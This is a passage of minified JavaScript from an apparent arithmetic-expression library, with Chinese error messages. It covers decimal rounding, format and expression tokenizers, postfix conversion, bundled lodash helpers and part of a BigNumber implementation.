a=e,i=t,s=t.length,c={"~-":function(){var e="<"===r?n-1:n;i=t.slice(0,e)},"~+":function(){var e="<"===r?n-1:n;if(!(s<=e||0===s)){var o=t.slice(0,e);0==+t.slice(e,s)?i=o:(o=(+"9".concat(o)+1).toString().slice(1)).length>e?(i=o.slice(1,o.length),a=(+a+1).toString()):i=o}},"~5":function(){if(0!==s){var e="<"===r?n-1:n;i=t.slice(0,e);var o=+t[e];Number.isNaN(o)||o>=5&&(i=(+"9".concat(i)+1).toString().slice(1)).length>e&&(i=i.slice(1,i.length),a=(+a+1).toString())}},"~6":function(){if(0!==s){var o,c="<"===r?n-1:n,l=+t[c],u=t.slice(+c+1,t.length);u=""===u?0:parseInt(u),o=0===c?+e[e.length-1]:+t[c-1],i=t.slice(0,c),(l>=6||5===l&&u>0||5===l&&o%2!=0)&&(i=(+"9".concat(i)+1).toString().slice(1)).length>c&&(i=i.slice(1,i.length),a=(+a+1).toString())}}};return"<="===r?s<=n?i=t:(c[o]&&c[o](),i=i.replace(/0+$/,"")):"<"===r?s<n?i=t:(c[o]&&c[o](),i=i.replace(/0+$/,"")):"="===r?s<n?i=t+"0".repeat(n-s):s>n&&c[o]&&c[o]():">="===r?s<n&&(i=t+"0".repeat(n-s)):">"===r&&s<=n&&(i=t+"0".repeat(n-s+1)),{int_part:a,dec_part:i}}function is_operator(e){return"+-*/%()**".indexOf(e)>-1}function get_prioraty(e){switch(e){case"+":case"-":return 1;case"*":case"/":case"%":return 2;case"**":return 3;default:return 0}}function prioraty(e,t){return get_prioraty(e)<=get_prioraty(t)}function not_undefined(e){return void 0!==e}function is_null(e){return null===e}function not_null(e){return null!==e}function is_number(e){return"number"==typeof e||is_str_number(e)}function is_str_number(e){return"string"==typeof e&&!!RegexNumber.test(e)}function split_unit_num(e){for(var t,r=null,n=null,o=[/^([+-]?[\d.]+(?:e|E)(?:\+|-)?\d+)(.*)$/,/^([+-]?[\d.]+)(.*)$/],a=0;a<o.length;a++){var i=e.match(o[a]);if(i){t=i;break}}if(t){n=t[1];var s=t[2];""!==s.trim()&&(r=s)}return{num:n,unit:r}}function parse_mantissa(e,t,r,n){var o=e.split("."),a=o[0],i=1===o.length?"":o[1],s=decimal_round(a,i,t,+r,n);return a=s.int_part,""===(i=s.dec_part)?a:"".concat(a,".").concat(i)}function parse_thousands(e){var t=e.split(".");if(t.length>1){var r=t[0];r.includes("-")?t[0]=r[0]+r.slice(1).replace(/(?=(?!^)(?:\d{3})+$)/g,","):t[0]=r.replace(/(?=(?!^)(?:\d{3})+$)/g,","),e=t.join(".")}else{var n=t[0];e=n.includes("-")?n[0]+n.slice(1).replace(/(?=(?!^)(?:\d{3})+$)/g,","):n.replace(/(?=(?!^)(?:\d{3})+$)/g,",")}return e}function promise_queue(e){return _promise_queue.apply(this,arguments)}function _promise_queue(){return _promise_queue=_asyncToGenerator(_regeneratorRuntime().mark((function e(t){var r,n,o,a=arguments;return _regeneratorRuntime().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:r=a.length>1&&void 0!==a[1]?a[1]:5e3,n=0;case 2:if(!(n<t.length)){e.next=16;break}return e.prev=3,e.next=6,Promise.race([t[n],new Promise((function(e,t){setTimeout((function(){return t(new Error("promise queue timeout err"))}),r)}))]);case 6:o=e.sent,e.next=12;break;case 9:return e.prev=9,e.t0=e.catch(3),e.abrupt("continue",13);case 12:return e.abrupt("return",o);case 13:n++,e.next=2;break;case 16:return e.abrupt("return",Promise.reject("错误的 promise queue 调用"));case 17:case"end":return e.stop()}}),e,null,[[3,9]])}))),_promise_queue.apply(this,arguments)}function test_urls(e){return _test_urls.apply(this,arguments)}function _test_urls(){return(_test_urls=_asyncToGenerator(_regeneratorRuntime().mark((function e(t){var r;return _regeneratorRuntime().wrap((function(e){for(;;)switch(e.prev=e.next){case 0:r=0;case 1:if(!(r<t.length)){e.next=16;break}return e.prev=2,e.next=5,fetch(t[r]);case 5:if(!e.sent.ok){e.next=8;break}return e.abrupt("return",t[r]);case 8:e.next=13;break;case 10:return e.prev=10,e.t0=e.catch(2),e.abrupt("continue",13);case 13:r++,e.next=1;break;case 16:return e.abrupt("return",null);case 17:case"end":return e.stop()}}),e,null,[[2,10]])})))).apply(this,arguments)}function idle(e){var t=arguments.length>1&&void 0!==arguments[1]?arguments[1]:1e3;return"undefined"!=typeof requestIdleCallback?requestIdleCallback(e):setTimeout(e,t)}var cache_eval={},cache_tokens={},cache_fmt_tokens={},cache_calc={},state$1={initial:"initial",number:"number",variable:"var",symbol:"symbol",percent:"percent",round:"round",plus:"plus",comma:"comma",fraction:"fraction",to_number:"to-number",to_number_string:"to-number-string",scientific:"scientific"},symbol="<>=";function fmt_tokenizer(e){var t=e;if(t in cache_fmt_tokens)return cache_fmt_tokens[t].last_time=(new Date).getTime(),cache_fmt_tokens[t].count++,cache_fmt_tokens[t].value;for(var r=state$1.initial,n=[],o=[];e;){var a=e[0];if(r===state$1.initial)if(/\s/.test(a))e=e.slice(1);else if(symbol.includes(a))r=state$1.symbol,n.push(a),e=e.slice(1);else if(","===a)r=state$1.initial,o.push({type:"comma",value:a}),e=e.slice(1);else if(/[a-zA-Z_]/.test(a))r=state$1.variable,n.push(a),e=e.slice(1);else if(/\d/.test(a))r=state$1.number,n.push(a),e=e.slice(1);else if("+"===a)r=state$1.initial,o.push({type:"plus",value:a}),e=e.slice(1);else if("~"===a)r=state$1.round,n.push(a),e=e.slice(1);else if("%"===a)r=state$1.initial,o.push({type:"percent",value:a}),e=e.slice(1);else if("/"===a)r=state$1.initial,o.push({type:"fraction",value:a}),e=e.slice(1);else{if("!"!==a)throw new Error("不识别的fmt字符:".concat(a));if(r=state$1.initial,/[Ee]/.test(e[1]))o.push({type:"scientific",value:e[1]}),e=e.slice(2);else if(/[Nn]/.test(e[1]))o.push({type:"to-number",value:e[1]}),e=e.slice(2);else{if(!/[Uu]/.test(e[1]))throw new Error("不识别的fmt字符:".concat(e.slice(2)));o.push({type:"to-number-string",value:e[1]}),e=e.slice(2)}}else if(r===state$1.number)/\d/.test(a)?(n.push(a),e=e.slice(1)):(o.push({type:"number",value:n.join("")}),n.length=0,r=state$1.initial);else if(r===state$1.variable)/[\$\w_\-.\[\]"']/.test(a)?(n.push(a),e=e.slice(1)):(o.push({type:"var",value:n.join("")}),n.length=0,r=state$1.initial);else if(r===state$1.symbol){if(/\s/.test(a)){e=e.slice(1);continue}symbol.includes(a)?(n.push(a),e=e.slice(1)):(o.push({type:"symbol",value:n.join("")}),n.length=0,r=state$1.initial)}else{if(r!==state$1.round)throw new Error("错误的自动机状态");if(/\s/.test(a)){e=e.slice(1);continue}if(!("56+-".includes(a)&&n.length<2))throw new Error("舍入格式化语法错误:".concat(a));n.push(a),e=e.slice(1),o.push({type:"round",value:n.join("")}),n.length=0,r=state$1.initial}}if(n.length>0&&(o.push({type:r,value:n.join("")}),n.length=0,r=state$1.initial),o.filter((function(e){return"number"===e.type})).length>1)throw new Error("格式化字符串错误,发现多余的数字");return cache_fmt_tokens[t]={last_time:(new Date).getTime(),count:0,value:o},o}var commonjsGlobal="undefined"!=typeof globalThis?globalThis:"undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:{};function getDefaultExportFromCjs(e){return e&&e.__esModule&&Object.prototype.hasOwnProperty.call(e,"default")?e.default:e}var isArray$3=Array.isArray,isArray_1=isArray$3,freeGlobal$1="object"==_typeof(commonjsGlobal)&&commonjsGlobal&&commonjsGlobal.Object===Object&&commonjsGlobal,_freeGlobal=freeGlobal$1,freeGlobal=_freeGlobal,freeSelf="object"==("undefined"==typeof self?"undefined":_typeof(self))&&self&&self.Object===Object&&self,root$3=freeGlobal||freeSelf||Function("return this")(),_root=root$3,root$2=_root,_Symbol2=root$2.Symbol,_Symbol$3=_Symbol2,_Symbol$2=_Symbol$3,objectProto$4=Object.prototype,hasOwnProperty$3=objectProto$4.hasOwnProperty,nativeObjectToString$1=objectProto$4.toString,symToStringTag$1=_Symbol$2?_Symbol$2.toStringTag:void 0;function getRawTag$1(e){var t=hasOwnProperty$3.call(e,symToStringTag$1),r=e[symToStringTag$1];try{e[symToStringTag$1]=void 0;var n=!0}catch(e){}var o=nativeObjectToString$1.call(e);return n&&(t?e[symToStringTag$1]=r:delete e[symToStringTag$1]),o}var _getRawTag=getRawTag$1,objectProto$3=Object.prototype,nativeObjectToString=objectProto$3.toString;function objectToString$1(e){return nativeObjectToString.call(e)}var _objectToString=objectToString$1,_Symbol$1=_Symbol$3,getRawTag=_getRawTag,objectToString=_objectToString,nullTag="[object Null]",undefinedTag="[object Undefined]",symToStringTag=_Symbol$1?_Symbol$1.toStringTag:void 0;function baseGetTag$2(e){return null==e?void 0===e?undefinedTag:nullTag:symToStringTag&&symToStringTag in Object(e)?getRawTag(e):objectToString(e)}var _baseGetTag=baseGetTag$2;function isObjectLike$1(e){return null!=e&&"object"==_typeof(e)}var isObjectLike_1=isObjectLike$1,baseGetTag$1=_baseGetTag,isObjectLike=isObjectLike_1,symbolTag="[object Symbol]";function isSymbol$3(e){return"symbol"==_typeof(e)||isObjectLike(e)&&baseGetTag$1(e)==symbolTag}var isSymbol_1=isSymbol$3,isArray$2=isArray_1,isSymbol$2=isSymbol_1,reIsDeepProp=/\.|\[(?:[^[\]]*|(["'])(?:(?!\1)[^\\]|\\.)*?\1)\]/,reIsPlainProp=/^\w*$/;function isKey$1(e,t){if(isArray$2(e))return!1;var r=_typeof(e);return!("number"!=r&&"symbol"!=r&&"boolean"!=r&&null!=e&&!isSymbol$2(e))||(reIsPlainProp.test(e)||!reIsDeepProp.test(e)||null!=t&&e in Object(t))}var _isKey=isKey$1;function isObject$2(e){var t=_typeof(e);return null!=e&&("object"==t||"function"==t)}var isObject_1=isObject$2,baseGetTag=_baseGetTag,isObject$1=isObject_1,asyncTag="[object AsyncFunction]",funcTag="[object Function]",genTag="[object GeneratorFunction]",proxyTag="[object Proxy]";function isFunction$1(e){if(!isObject$1(e))return!1;var t=baseGetTag(e);return t==funcTag||t==genTag||t==asyncTag||t==proxyTag}var isFunction_1=isFunction$1,root$1=_root,coreJsData$1=root$1["__core-js_shared__"],_coreJsData=coreJsData$1,coreJsData=_coreJsData,maskSrcKey=(uid=/[^.]+$/.exec(coreJsData&&coreJsData.keys&&coreJsData.keys.IE_PROTO||""),uid?"Symbol(src)_1."+uid:""),uid;function isMasked$1(e){return!!maskSrcKey&&maskSrcKey in e}var _isMasked=isMasked$1,funcProto$1=Function.prototype,funcToString$1=funcProto$1.toString;function toSource$1(e){if(null!=e){try{return funcToString$1.call(e)}catch(e){}try{return e+""}catch(e){}}return""}var _toSource=toSource$1,isFunction=isFunction_1,isMasked=_isMasked,isObject=isObject_1,toSource=_toSource,reRegExpChar=/[\\^$.*+?()[\]{}|]/g,reIsHostCtor=/^\[object .+?Constructor\]$/,funcProto=Function.prototype,objectProto$2=Object.prototype,funcToString=funcProto.toString,hasOwnProperty$2=objectProto$2.hasOwnProperty,reIsNative=RegExp("^"+funcToString.call(hasOwnProperty$2).replace(reRegExpChar,"\\$&").replace(/hasOwnProperty|(function).*?(?=\\\()| for .+?(?=\\\])/g,"$1.*?")+"$");function baseIsNative$1(e){return!(!isObject(e)||isMasked(e))&&(isFunction(e)?reIsNative:reIsHostCtor).test(toSource(e))}var _baseIsNative=baseIsNative$1;function getValue$1(e,t){return null==e?void 0:e[t]}var _getValue=getValue$1,baseIsNative=_baseIsNative,getValue=_getValue;function getNative$2(e,t){var r=getValue(e,t);return baseIsNative(r)?r:void 0}var _getNative=getNative$2,getNative$1=_getNative,nativeCreate$4=getNative$1(Object,"create"),_nativeCreate=nativeCreate$4,nativeCreate$3=_nativeCreate;function hashClear$1(){this.__data__=nativeCreate$3?nativeCreate$3(null):{},this.size=0}var _hashClear=hashClear$1;function hashDelete$1(e){var t=this.has(e)&&delete this.__data__[e];return this.size-=t?1:0,t}var _hashDelete=hashDelete$1,nativeCreate$2=_nativeCreate,HASH_UNDEFINED$1="__lodash_hash_undefined__",objectProto$1=Object.prototype,hasOwnProperty$1=objectProto$1.hasOwnProperty;function hashGet$1(e){var t=this.__data__;if(nativeCreate$2){var r=t[e];return r===HASH_UNDEFINED$1?void 0:r}return hasOwnProperty$1.call(t,e)?t[e]:void 0}var _hashGet=hashGet$1,nativeCreate$1=_nativeCreate,objectProto=Object.prototype,hasOwnProperty=objectProto.hasOwnProperty;function hashHas$1(e){var t=this.__data__;return nativeCreate$1?void 0!==t[e]:hasOwnProperty.call(t,e)}var _hashHas=hashHas$1,nativeCreate=_nativeCreate,HASH_UNDEFINED="__lodash_hash_undefined__";function hashSet$1(e,t){var r=this.__data__;return this.size+=this.has(e)?0:1,r[e]=nativeCreate&&void 0===t?HASH_UNDEFINED:t,this}var _hashSet=hashSet$1,hashClear=_hashClear,hashDelete=_hashDelete,hashGet=_hashGet,hashHas=_hashHas,hashSet=_hashSet;function Hash$1(e){var t=-1,r=null==e?0:e.length;for(this.clear();++t<r;){var n=e[t];this.set(n[0],n[1])}}Hash$1.prototype.clear=hashClear,Hash$1.prototype.delete=hashDelete,Hash$1.prototype.get=hashGet,Hash$1.prototype.has=hashHas,Hash$1.prototype.set=hashSet;var _Hash=Hash$1;function listCacheClear$1(){this.__data__=[],this.size=0}var _listCacheClear=listCacheClear$1;function eq$1(e,t){return e===t||e!=e&&t!=t}var eq_1=eq$1,eq=eq_1;function assocIndexOf$4(e,t){for(var r=e.length;r--;)if(eq(e[r][0],t))return r;return-1}var _assocIndexOf=assocIndexOf$4,assocIndexOf$3=_assocIndexOf,arrayProto=Array.prototype,splice=arrayProto.splice;function listCacheDelete$1(e){var t=this.__data__,r=assocIndexOf$3(t,e);return!(r<0)&&(r==t.length-1?t.pop():splice.call(t,r,1),--this.size,!0)}var _listCacheDelete=listCacheDelete$1,assocIndexOf$2=_assocIndexOf;function listCacheGet$1(e){var t=this.__data__,r=assocIndexOf$2(t,e);return r<0?void 0:t[r][1]}var _listCacheGet=listCacheGet$1,assocIndexOf$1=_assocIndexOf;function listCacheHas$1(e){return assocIndexOf$1(this.__data__,e)>-1}var _listCacheHas=listCacheHas$1,assocIndexOf=_assocIndexOf;function listCacheSet$1(e,t){var r=this.__data__,n=assocIndexOf(r,e);return n<0?(++this.size,r.push([e,t])):r[n][1]=t,this}var _listCacheSet=listCacheSet$1,listCacheClear=_listCacheClear,listCacheDelete=_listCacheDelete,listCacheGet=_listCacheGet,listCacheHas=_listCacheHas,listCacheSet=_listCacheSet;function ListCache$1(e){var t=-1,r=null==e?0:e.length;for(this.clear();++t<r;){var n=e[t];this.set(n[0],n[1])}}ListCache$1.prototype.clear=listCacheClear,ListCache$1.prototype.delete=listCacheDelete,ListCache$1.prototype.get=listCacheGet,ListCache$1.prototype.has=listCacheHas,ListCache$1.prototype.set=listCacheSet;var _ListCache=ListCache$1,getNative=_getNative,root=_root,Map$1=getNative(root,"Map"),_Map=Map$1,Hash=_Hash,ListCache=_ListCache,Map=_Map;function mapCacheClear$1(){this.size=0,this.__data__={hash:new Hash,map:new(Map||ListCache),string:new Hash}}var _mapCacheClear=mapCacheClear$1;function isKeyable$1(e){var t=_typeof(e);return"string"==t||"number"==t||"symbol"==t||"boolean"==t?"__proto__"!==e:null===e}var _isKeyable=isKeyable$1,isKeyable=_isKeyable;function getMapData$4(e,t){var r=e.__data__;return isKeyable(t)?r["string"==typeof t?"string":"hash"]:r.map}var _getMapData=getMapData$4,getMapData$3=_getMapData;function mapCacheDelete$1(e){var t=getMapData$3(this,e).delete(e);return this.size-=t?1:0,t}var _mapCacheDelete=mapCacheDelete$1,getMapData$2=_getMapData;function mapCacheGet$1(e){return getMapData$2(this,e).get(e)}var _mapCacheGet=mapCacheGet$1,getMapData$1=_getMapData;function mapCacheHas$1(e){return getMapData$1(this,e).has(e)}var _mapCacheHas=mapCacheHas$1,getMapData=_getMapData;function mapCacheSet$1(e,t){var r=getMapData(this,e),n=r.size;return r.set(e,t),this.size+=r.size==n?0:1,this}var _mapCacheSet=mapCacheSet$1,mapCacheClear=_mapCacheClear,mapCacheDelete=_mapCacheDelete,mapCacheGet=_mapCacheGet,mapCacheHas=_mapCacheHas,mapCacheSet=_mapCacheSet;function MapCache$1(e){var t=-1,r=null==e?0:e.length;for(this.clear();++t<r;){var n=e[t];this.set(n[0],n[1])}}MapCache$1.prototype.clear=mapCacheClear,MapCache$1.prototype.delete=mapCacheDelete,MapCache$1.prototype.get=mapCacheGet,MapCache$1.prototype.has=mapCacheHas,MapCache$1.prototype.set=mapCacheSet;var _MapCache=MapCache$1,MapCache=_MapCache,FUNC_ERROR_TEXT="Expected a function";function memoize$1(e,t){if("function"!=typeof e||null!=t&&"function"!=typeof t)throw new TypeError(FUNC_ERROR_TEXT);var r=function r(){var n=arguments,o=t?t.apply(this,n):n[0],a=r.cache;if(a.has(o))return a.get(o);var i=e.apply(this,n);return r.cache=a.set(o,i)||a,i};return r.cache=new(memoize$1.Cache||MapCache),r}memoize$1.Cache=MapCache;var memoize_1=memoize$1,memoize=memoize_1,MAX_MEMOIZE_SIZE=500;function memoizeCapped$1(e){var t=memoize(e,(function(e){return r.size===MAX_MEMOIZE_SIZE&&r.clear(),e})),r=t.cache;return t}var _memoizeCapped=memoizeCapped$1,memoizeCapped=_memoizeCapped,rePropName=/[^.[\]]+|\[(?:(-?\d+(?:\.\d+)?)|(["'])((?:(?!\2)[^\\]|\\.)*?)\2)\]|(?=(?:\.|\[\])(?:\.|\[\]|$))/g,reEscapeChar=/\\(\\)?/g,stringToPath$1=memoizeCapped((function(e){var t=[];return 46===e.charCodeAt(0)&&t.push(""),e.replace(rePropName,(function(e,r,n,o){t.push(n?o.replace(reEscapeChar,"$1"):r||e)})),t})),_stringToPath=stringToPath$1;function arrayMap$1(e,t){for(var r=-1,n=null==e?0:e.length,o=Array(n);++r<n;)o[r]=t(e[r],r,e);return o}var _arrayMap=arrayMap$1,_Symbol=_Symbol$3,arrayMap=_arrayMap,isArray$1=isArray_1,isSymbol$1=isSymbol_1,INFINITY$1=1/0,symbolProto=_Symbol?_Symbol.prototype:void 0,symbolToString=symbolProto?symbolProto.toString:void 0;function baseToString$1(e){if("string"==typeof e)return e;if(isArray$1(e))return arrayMap(e,baseToString$1)+"";if(isSymbol$1(e))return symbolToString?symbolToString.call(e):"";var t=e+"";return"0"==t&&1/e==-INFINITY$1?"-0":t}var _baseToString=baseToString$1,baseToString=_baseToString;function toString$1(e){return null==e?"":baseToString(e)}var toString_1=toString$1,isArray=isArray_1,isKey=_isKey,stringToPath=_stringToPath,toString=toString_1;function castPath$1(e,t){return isArray(e)?e:isKey(e,t)?[e]:stringToPath(toString(e))}var _castPath=castPath$1,isSymbol=isSymbol_1,INFINITY=1/0;function toKey$1(e){if("string"==typeof e||isSymbol(e))return e;var t=e+"";return"0"==t&&1/e==-INFINITY?"-0":t}var _toKey=toKey$1,castPath=_castPath,toKey=_toKey;function baseGet$1(e,t){for(var r=0,n=(t=castPath(t,e)).length;null!=e&&r<n;)e=e[toKey(t[r++])];return r&&r==n?e:void 0}var _baseGet=baseGet$1,baseGet=_baseGet;function get(e,t,r){var n=null==e?void 0:baseGet(e,t);return void 0===n?r:n}var get_1=get,get$1=getDefaultExportFromCjs(get_1);function parse_args(e){var t="",r=e[0],n=e[1],o={origin_expr:r,origin_fill_data:n,expr:"",fmt_tokens:null,options:null,fmt_err:!1,expr_err:!1};not_undefined(n)&&(o.options=n);var a=get$1(n,"_error",!1);if(0===e.length)throw new Error("至少传入一个参数");if("string"==typeof r){if(t=r,""===r.trim()||r.includes("NaN"))return o.expr_err=!0,o}else{if("number"!=typeof r){if(!0===a)return o.expr_err=!0,o;throw new Error("错误的第一个参数类型: ".concat(r," 类型为:").concat(_typeof(r)))}t=r.toString()}var i=t.split("|");if(o.expr=i[0],i.length>1){var s=i[1];if(""!==s.trim())try{o.fmt_tokens=fmt_tokenizer(s)}catch(e){return o.fmt_err=!0,o}}if(null!==o.options&&o.options._fmt){var c=[];try{c=fmt_tokenizer(o.options._fmt)}catch(e){return o.fmt_err=!0,o}if(null===o.fmt_tokens)o.fmt_tokens=c;else{var l=o.fmt_tokens.map((function(e){return e.type}));c.forEach((function(e){l.includes(e.type)||o.fmt_tokens.push(e)}))}}return o}var state={initial:"initial",number:"number",scientific:"scientific",operator:"operator",bracket:"bracket",var:"var"},signed="+-",operator="*/%",brackets="()";function tokenizer(e){var t=arguments.length>1&&void 0!==arguments[1]&&arguments[1],r="".concat(e,",").concat(t);if(r in cache_tokens)return cache_tokens[r].last_time=(new Date).getTime(),cache_tokens[r].count++,cache_tokens[r].value;for(var n,o=state.initial,a=[],i=[],s=function(){a.push(n),e=e.slice(1)},c=function(e){i.push({type:e,value:a.join("")}),a.length=0},l=function(){e=e.slice(1)};e;)switch(n=e[0],o){case state.initial:if(signed.includes(n)){var u=i.at(-1);0===i.length||"operator"===u.type||"("===u?(o=state.number,s()):(o=state.operator,s())}else if(operator.includes(n))o=state.operator,s();else if(/\d/.test(n))o=state.number,s();else if(brackets.includes(n))o=state.bracket;else if(/[a-zA-Z_$]/.test(n))o=state.var,s();else{if(!/\s/.test(n))throw new Error("不识别的字符".concat(n));l()}break;case state.bracket:i.push({type:state.bracket,value:n}),l(),o=state.initial;break;case state.operator:var f=a.at(-1);"*"===n&&"*"===f&&s(),c(state.operator),o=state.initial;break;case state.number:if(/\d/.test(n))s();else if("."===n){if(0===a.length||a.includes("."))throw new Error("非法的小数部分".concat(a.join("")));s()}else"Ee".includes(n)?(o=state.scientific,s()):["auto","on",!0].includes(t)&&/[^*/+\-()\s]/.test(n)||"space"===t&&/\S/.test(n)?s():(c(state.number),o=state.initial);break;case state.scientific:if(/\d/.test(n))s();else if(signed.includes(n)){var h=a.slice(1),p=a.at(-1);h.includes(n)||!/[Ee]/.test(p)?(c(state.scientific),o=state.initial):s()}else["auto","on",!0].includes(t)&&/[^*/+\-()\s]/.test(n)||"space"===t&&/\S/.test(n)?s():(c(state.scientific),o=state.initial);break;case state.var:/[\w_.\[\]"']/.test(n)?s():(c(state.var),o=state.initial);break;default:throw new Error("状态错误")}return 0!==a.length&&(i.push({type:o,value:a.join("")}),a.length=0,o=state.initial),cache_tokens[r]={last_time:(new Date).getTime(),count:0,value:i},i}function fill_tokens(e,t,r){if(is_null(t))throw new Error("错误的填充数据:",t);for(var n=[],o=0;o<e.length;o++){var a=e[o];if("var"===a.type){if("undefined"===a.value||"NaN"===a.value)throw new Error("key不应该为:".concat(a.value));for(var i=null,s=0;s<t.length;s++){var c=t[s],l=get$1(c,a.value);if(void 0!==l){i=l;break}}if(null===i)throw new Error("token填充失败,请确认".concat(a,"存在"));if("string"==typeof i){if(""===i.trim())throw new Error("token填充失败,".concat(a.value,"值不可为空字符"));if([!0,"on","auto","space"].includes(r)){if(!RegexUnitNumber.test(i))throw new Error("token填充失败,".concat(a.value,"值:").concat(i,"为非法单位数字"))}else if(!is_str_number(i))throw new Error("token填充失败,".concat(a,"值:").concat(i,"为非法数字"))}i="string"!=typeof i?i.toString():i,n.push({type:"number",value:i})}else n.push(a)}return n}function token2postfix(e){for(var t=[],r=[],n=e.map((function(e){return e.value}));n.length>0;){var o=n.shift();if(is_operator(o))if("("===o)t.push(o);else if(")"===o){for(var a=t.pop();"("!==a&&t.length>0;)r.push(a),a=t.pop();if("("!==a)throw"error: unmatched ()"}else{for(;prioraty(o,t[t.length-1])&&t.length>0;)r.push(t.pop());t.push(o)}else r.push(o)}if(t.length>0){if(")"===t[t.length-1]||"("===t[t.length-1])throw"error: unmatched ()";for(;t.length>0;)r.push(t.pop())}return r}var isNumeric=/^-?(?:\d+(?:\.\d*)?|\.\d+)(?:e[+-]?\d+)?$/i,mathceil=Math.ceil,mathfloor=Math.floor,bignumberError="[BigNumber Error] ",tooManyDigits=bignumberError+"Number primitive has more than 15 significant digits: ",BASE=1e14,LOG_BASE=14,MAX_SAFE_INTEGER=9007199254740991,POWS_TEN=[1,10,100,1e3,1e4,1e5,1e6,1e7,1e8,1e9,1e10,1e11,1e12,1e13],SQRT_BASE=1e7,MAX=1e9;function clone(e){var t,r,n,o,a,i,s,c,l,u,f=O.prototype={constructor:O,toString:null,valueOf:null},h=new O(1),p=20,_=4,g=-7,m=21,d=-1e7,v=1e7,b=!1,y=1,w=0,S={prefix:"",groupSize:3,secondaryGroupSize:0,groupSeparator:",",decimalSeparator:".",fractionGroupSize:0,fractionGroupSeparator:" ",suffix:""},E="0123456789abcdefghijklmnopqrstuvwxyz",$=!0;function O(e,t){var o,a,i,s,c,l,u,f,h=this;if(!(h instanceof O))return new O(e,t);if(null==t){if(e&&!0===e._isBigNumber)return h.s=e.s,void(!e.c||e.e>v?h.c=h.e=null:e.e<d?h.c=[h.e=0]:(h.e=e.e,h.c=e.c.slice()));if((l="number"==typeof e)&&0*e==0){if(h.s=1/e<0?(e=-e,-1):1,e===~~e){for(s=0,c=e;c>=10;c/=10,s++);return void(s>v?h.c=h.e=null:(h.e=s,h.c=[e]))}f=String(e)}else{if(!isNumeric.test(f=String(e)))return n(h,f,l);h.s=45==f.charCodeAt(0)?(f=f.slice(1),-1):1}(s=f.indexOf("."))>-1&&(f=f.replace(".","")),(c=f.search(/e/i))>0?(s<0&&(s=c),s+=+f.slice(c+1),f=f.substring(0,c)):s<0&&(s=f.length)}else{if(intCheck(t,2,E.length,"Base"),10==t&&$)return k(h=new O(e),p+h.e+1,_);if(f=String(e),l="number"==typeof e){if(0*e!=0)return n(h,f,l,t);if(h.s=1/e<0?(f=f.slice(1),-1):1,O.DEBUG&&f.replace(/^0\.0*|\./,"").length>15)throw Error(tooManyDigits+e)}else h.s=45===f.charCodeAt(0)?(f=f.slice(1),-1):1;for(o=E.slice(0,t),s=c=0,u=f.length;c<u;c++)if(o.indexOf(a=f.charAt(c))<0){if("."==a){if(c>s){s=u;continue}}else if(!i&&(f==f.toUpperCase()&&(f=f.toLowerCase())||f==f.toLowerCase()&&(f=f.toUpperCase()))){i=!0,c=-1,s=0;continue}return n(h,String(e),l,t)}l=!1,(s=(f=r(f,t,10,h.s)).indexOf("."))>-1?f=f.replace(".",""):s=f.length}for(c=0;48===f.charCodeAt(c);c++);for(u=f.length;48===f.charCodeAt(--u););if(f=f.slice(c,++u)){if(u-=c,l&&O.DEBUG&&u>15&&(e>MAX_SAFE_INTEGER||e!==mathfloor(e)))throw Error(tooManyDigits+h.s*e);if((s=s-c-1)>v)h.c=h.e=null;else if(s<d)h.c=[h.e=0];else{if(h.e=s,h.c=[],c=(s+1)%LOG_BASE,s<0&&(c+=LOG_BASE),c<u){for(c&&h.c.push(+f.slice(0,c)),u-=LOG_BASE;c<u;)h.c.push(+f.slice(c,c+=LOG_BASE));c=LOG_BASE-(f=f.slice(c)).length}else c-=u;for(;c--;f+="0");h.c.push(+f)}}else h.c=[h.e=0]}function C(e,t,r,n){var o,a,i,s,c;if(null==r?r=_:intCheck(r,0,8),!e.c)return e.toString();if(o=e.c[0],i=e.e,null==t)c=coeffToString(e.c),c=1==n||2==n&&(i<=g||i>=m)?toExponential(c,i):toFixedPoint(c,i,"0");else if(a=(e=k(new O(e),t,r)).e,s=(c=coeffToString(e.c)).length,1==n||2==n&&(t<=a||a<=g)){for(;s<t;c+="0",s++);c=toExponential(c,a)}else if(t-=i,c=toFixedPoint(c,a,"0"),a+1>s){if(--t>0)for(c+=".";t--;c+="0");}else if((t+=a-s)>0)for(a+1==s&&(c+=".");t--;c+="0");return e.s<0&&o?"-"+c:c}function x(e,t){for(var r,n=1,o=new O(e[0]);n<e.length;n++){if(!(r=new O(e[n])).s){o=r;break}t.call(o,r)&&(o=r)}return o}function A(e,t,r){for(var n=1,o=t.length;!t[--o];t.pop());for(o=t[0];o>=10;o/=10,n++);return(r=n+r*LOG_BASE-1)>v?e.c=e.e=null:r<d?e.c=[e.e=0]:(e.e=r,e.c=t),e}function k(e,t,r,n){var o,a,i,s,c,l,u,f=e.c,h=POWS_TEN;if(f){e:{for(o=1,s=f[0];s>=10;s/=10,o++);if((a=t-o)<0)a+=LOG_BASE,i=t,u=(c=f[l=0])/h[o-i-1]%10|0;else if((l=mathceil((a+1)/LOG_BASE))>=f.length){if(!n)break e;for(;f.length<=l;f.push(0));c=u=0,o=1,i=(a%=LOG_BASE)-LOG_BASE+1}else{for(c=s=f[l],o=1;s>=10;s/=10,o++);u=(i=(a%=LOG_BASE)-LOG_BASE+o)<0?0:c/h[o-i-1]%10|0}if(n=n||t<0||null!=f[l+1]||(i<0?c:c%h[o-i-1]),n=r<4?(u||n)&&(0==r||r==(e.s<0?3:2)):u>5||5==u&&(4==r||n||6==r&&(a>0?i>0?c/h[o-i]:0:f[l-1])%10&1||r==(e.s<0?8:7)),t<1||!f[0])return f.length=0,n?(t-=e.e+1,f[0]=h[(LOG_BASE-t%LOG_BASE)%LOG_BASE],e.e=-t||0):f[0]=e.e=0,e;if(0==a?(f.length=l,s=1,l--):(f.length=l+1,s=h[LOG_BASE-a],f[l]=i>0?mathfloor(c/h[o-i]%h[i])*s:0),n)for(;;){if(0==l){for(a=1,i=f[0];i>=10;i/=10,a++);for(i=f[0]+=s,s=1;i>=10;i/=10,s++);a!=s&&(e.e++,f[0]==BASE&&(f[0]=1));break}if(f[l]+=s,f[l]!=BASE)break;f[l--]=0,s=1}for(a=f.length;0===f[--a];f.pop());}e.e>v?e.c=e.e=null:e.e<d&&(e.c=[e.e=0])}return e}function T(e){var t,r=e.e;return null===r?e.toString():(t=coeffToString(e.c),t=r<=g||r>=m?toExponential(t,r):toFixedPoint(t,r,"0"),e.s<0?"-"+t:t)}return 